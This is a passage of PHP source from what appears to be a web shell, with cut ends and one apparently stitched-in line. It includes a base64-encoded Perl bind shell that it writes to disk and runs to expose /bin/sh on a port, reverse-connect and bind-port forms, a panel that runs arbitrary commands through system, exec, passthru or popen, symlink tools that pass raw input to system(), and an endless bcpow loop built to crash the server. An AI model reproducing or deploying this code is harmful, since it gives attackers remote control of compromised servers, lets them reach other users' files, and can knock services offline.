Disable_functions Or Safe Mode");
}
function lbp($wb){
$lbp="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7JHBvcnQ9JEFSR1ZbMF07JHByb3RvPWdldHByb3
Rv
YnluYW1lKCd0Y3AnKTskY21kPSJscGQiOyQwPSRjbWQ7c29ja2V0KFNFUlZFUiwgUEZfSU5FVCwg
U09DS19TVFJFQU0sICRwcm90byk7c2V0c29ja29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JF
VVNFQUREUiwgcGFjaygibCIsIDEpKTtiaW5kKFNFUlZFUiwgc29ja2FkZHJfaW4oJHBvcnQsIElO
QUREUl9BTlkpKTtsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pO2Zvcig7ICRwYWRkciA9IGFjY2Vw
dChDTElFTlQsIFNFUlZFUik7IGNsb3NlIENMSUVOVCl7b3BlbihTVERJTiwgIj4mQ0xJRU5UIik7
b3BlbihTVERPVVQsICI+JkNMSUVOVCIpO29wZW4oU1RERVJSLCAiPiZDTElFTlQiKTtzeXN0ZW0o
Jy9iaW4vc2gnKTtjbG9zZShTVERJTik7Y2xvc2UoU1RET1VUKTtjbG9zZShTVERFUlIpO30g";
$oplb=fopen("lbp.pl","w");
fwrite($oplb,base64_decode($lbp));
fclose($oplb);
system("perl lbp.pl $wb") or die("I Can Not Execute Command For Back Connect
Disable_functions Or Safe Mode");
}
if($_REQUEST['portbw']){
wbp($_REQUEST['portbw']);
}if($_REQUEST['portbl']){
lbp($_REQUEST['portbl']);
}
if($_REQUEST['ipcb'] && $_REQUEST['portbc']){
bcn($_REQUEST['ipcb'],$_REQUEST['portbc']);
}
if($_REQUEST['do']=="bc"){
echo $head.$formp."<p align='center'>Usage : Run Netcat In Your Machin And
Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<<
Back Connect >>>>>><br>Ip Address : <input name=ipcb value=".
$_SERVER['REMOTE_ADDR'] ."> Port : <input name=portbc value=5555><br><input
type=submit value=Connect></form>".$formp."<p align='center'>Usage : Run Netcat
In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p
align='center'><<<<<< Windows Bind Port >>>>>><br>Port : <input name=portbw
value=5555><br><input type=submit value=Connect></form>".$formp."<p
align='center'>Usage : Run Netcat In Your Machin And Execute This
Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Linux Bind Port
>>>>>><br>Port : <input name=portbl value=5555><br><input type=submit
value=Connect></form>".$end;exit;
21. Space : ".sizee(disk_total_space("/"))."<br>Register_Globals : ".
$registerg."<br>Curl : ".$curls."<br>Database ".$db_on."<br>Server Name : ".
$_SERVER['HTTP_HOST']."<br>Admin Server : ".$_SERVER['SERVER_ADMIN'].$end;
exit;
}
if ($_GET['do']=="cmd"){
echo $head.'
<form method=get action="'.$me.'">
<p align="center">
<textarea rows="19" name="S1" cols="87">';
if (strlen($_GET['command'])>1 && $_GET['execmethod']!="popen"){
echo $_GET['execmethod']($_GET['command']);}
if (strlen($_POST['command'])>1 && $_POST['execmethod']!="popen"){
echo $_POST['execmethod']($_POST['command']);}
if (strlen($_GET['command'])>1 && $_GET['execmethod']=="popen"){
popen($_GET['command'],"r");}
echo'</textarea></p><p align="center">
<input type=hidden name="do" size="50" value="cmd"> <input type="text"
name="command" size="50"><select name=execmethod>
<option value="system">System</option> <option value="exec">Exec</option>
<option value="passthru">Passthru</option><option value="popen">popen</option>
</select><input type="submit" value="eXecute">
</p></form>'.$end;exit;}
if ($_GET['do']=="symlink"){
echo $head.'
<form method=post action="'.$me.'">
<p align="center">
SymLink With PHP<br><input name=ad1syp size=50> TO <input value="'.getcwd().
$slash."symlink.txt".'" name=ad2syp size=50><br><input type=submit
value=SymLink!><hr><p align="center"></form>
<form method=post action="'.$me.'"><p align="center">
SymLink With OS : <br><input name=ad1syc size=50> TO <input value="'.getcwd().
$slash."symlink.txt".'" name=ad2syc size=50><br><input type=submit
value=SymLink!>
</p></form>'.$end;exit;}
if ($_POST['ad1syp'] && $_POST['ad2syp']){
if (symlink($_POST['ad1syp'],$_POST['ad2syp'])){
alert("Symlink Worked !");
}else{
alert("Symlink Not Worked !");
}}
if ($_POST['ad1syc'] && $_POST['ad2syc']){
if (system('ls -s '.$_POST['ad1syc']." ".$_POST['ad2syc'])){
alert("Symlink Worked !");
}else{alert("Symlink Not Worked !");}
}
if ($_GET['do']=="d0slocal"){
echo $head.'
<p align="center">If You Click This Link This Server Crashed.<br>This Worked In
Php 5.3.x : <a href="?dosthisserver=1" target="_blank"><font size=4>Dos This
Server I Am Sure </font></a><br>This Worked In Php 4.x.x And 5.2.9 : <a href="?
dosthisserver=2" target="_blank"><font size=4>Dos This Server I Am Sure </a>'.
$end;exit;}
if ($_GET['dosthisserver']=="1"){
function dosserver(){
$junk=str_repeat("99999999999999999999999999999999999999999999999999",99999);
for($i=0;$i<2;){
$buff=bcpow($junk, '3', 2);
$buff=null;
}
}